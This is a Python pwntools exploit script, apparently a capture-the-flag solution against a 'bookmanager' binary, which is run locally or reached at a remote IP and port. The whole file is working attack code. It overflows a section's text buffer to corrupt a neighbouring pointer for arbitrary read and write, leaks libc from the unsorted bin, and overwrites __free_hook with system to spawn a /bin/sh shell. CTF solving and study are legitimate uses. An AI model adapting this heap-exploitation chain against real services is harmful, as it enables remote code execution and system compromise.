1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
| #!/usr/bin/env python3
from pwn import *
class Challenge:
def __init__(self, local):
self.local = local
if local:
self.p = process(["./bookmanager"], env={"LD_PRELOAD": "/usr/local/glibc-2.23/lib/libc-2.23.so"})
else:
self.p = remote("47.112.115.30", 13337)
self.libc = ELF("/usr/local/glibc-2.23/lib/libc-2.23.so")
self.section_ptr, self.book, self.libc_base = {}, {}, 0
def gdb(self, script):
assert self.local
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(proc.pidof(self.p)[0], gdbscript=script)
def set_bookname(self, book_name):
self.p.sendlineafter("Name of the book you want to create: ", book_name)
self.p.recvuntil("Your choice:")
def add_chapter(self, chapter_name):
self.p.sendline("1")
self.p.sendlineafter("Chapter name:", chapter_name)
self.p.recvuntil("Your choice:")
def add_section(self, chapter_name, section_name):
self.p.sendline("2")
self.p.sendlineafter("Which chapter do you want to add into:", chapter_name)
self.section_ptr[section_name] = int(self.p.recvline().lstrip("0x"), 16)
self.p.sendlineafter("Section name:", section_name)
self.p.recvuntil("Your choice:")
def add_text(self, section_name, text_length, text):
assert text_length <= 256
self.p.sendline("3")
self.p.sendlineafter("Which section do you want to add into:", section_name)
self.p.sendlineafter("How many chapters you want to write:", str(text_length))
self.p.sendlineafter("Text:", text)
self.p.recvuntil("Your choice:")
def remove_chapter(self, chapter_name):
self.p.sendline("4")
self.p.sendlineafter("Chapter name:", chapter_name)
self.p.recvuntil("Your choice:")
def remove_section(self, section_name):
self.p.sendline("5")
self.p.sendlineafter("Section name:", section_name)
self.p.recvuntil("Your choice:")
def remove_text(self, section_name):
self.p.sendline("6")
self.p.sendlineafter("Section name:", section_name)
self.p.recvuntil("Your choice:")
def book_preview(self):
self.p.sendline("7")
recved = self.p.recvuntil("\n=========================="). \
rstrip("\n==========================").lstrip("\nBook:")
book_name, chapters = recved.split("\n Chapter:")[0], recved.split("\n Chapter:")[1:]
self.book = {book_name: {}}
for cind, chapter in enumerate(chapters):
chapter_name, sections = chapter.split("\n Section:")[0], chapter.split("\n Section:")[1:]
self.book[book_name][chapter_name] = {}
for sind, section in enumerate(sections):
section_name, text = section.split("\n Text:")[0], section.split("\n Text:")[1]
self.book[book_name][chapter_name][section_name] = text
self.p.recvuntil("Your choice:")
def update(self, choice, old, new):
assert choice in ["Chapter", "Section", "Text"]
self.p.sendline("8")
self.p.sendlineafter("What to update?(Chapter/Section/Text):", choice)
self.p.sendlineafter(":", old)
self.p.sendlineafter(":", new)
assert self.p.recvuntil("Your choice:").strip().startswith("Updated")
def pwn(self):
# todo: initialization
self.set_bookname("PWN_BOOK")
self.add_chapter("chapter_one")
self.add_section("chapter_one", "section_one")
self.add_text("section_one", 0x100 - 0x10 - 0x30, "text_one")
self.add_section("chapter_one", "section_two")
# todo: leak heap to get arbitrarily write&read
self.update("Text", "section_one", flat([
"A" * 0xc8, 0x41, "section_two".ljust(0x28, "\x00"), 0x20
], word_size=64))
def write_to(address, content):
payload = flat([
"A" * 0xc8, 0x41, "section_two".ljust(0x20, "\x00"), address
], word_size=64)
assert len(payload) < 0xff and len(content) < 0xff
self.update("Text", "section_one", payload)
self.update("Text", "section_two", content)
def read_from(address):
payload = flat([
"A" * 0xc8, 0x41, "section_two".ljust(0x20, "\x00"), address
], word_size=64)
assert len(payload) < 0xff
self.update("Text", "section_one", payload)
self.book_preview()
text = self.book["PWN_BOOK"]["chapter_one"]["section_two"]
return u64(text.ljust(8, "\x00")[:8])
# todo: leak libc address from unsorted bin
self.add_section("chapter_one", "section_three")
self.add_text("section_three", 0x100, "BIGTEXT")
self.add_chapter("chapter_two") # prevent heap-top
self.remove_text("section_three")
unsorted_bin_addr = read_from(self.section_ptr["section_three"] + 0x30 + 0x10)
self.libc_base = unsorted_bin_addr - 0x19eb78
print "leak libc_base: %x" % self.libc_base
# todo: overwrite __free_hook & execute system("/bin/sh")
free_hook_addr = self.libc.symbols["__free_hook"] + self.libc_base
system_addr = self.libc.symbols["system"] + self.libc_base
write_to(free_hook_addr, p64(system_addr))
self.add_chapter("/bin/sh")
self.remove_chapter("/bin/sh")
self.p.interactive()
if __name__ == "__main__":
c = Challenge(True)
c.pwn()
|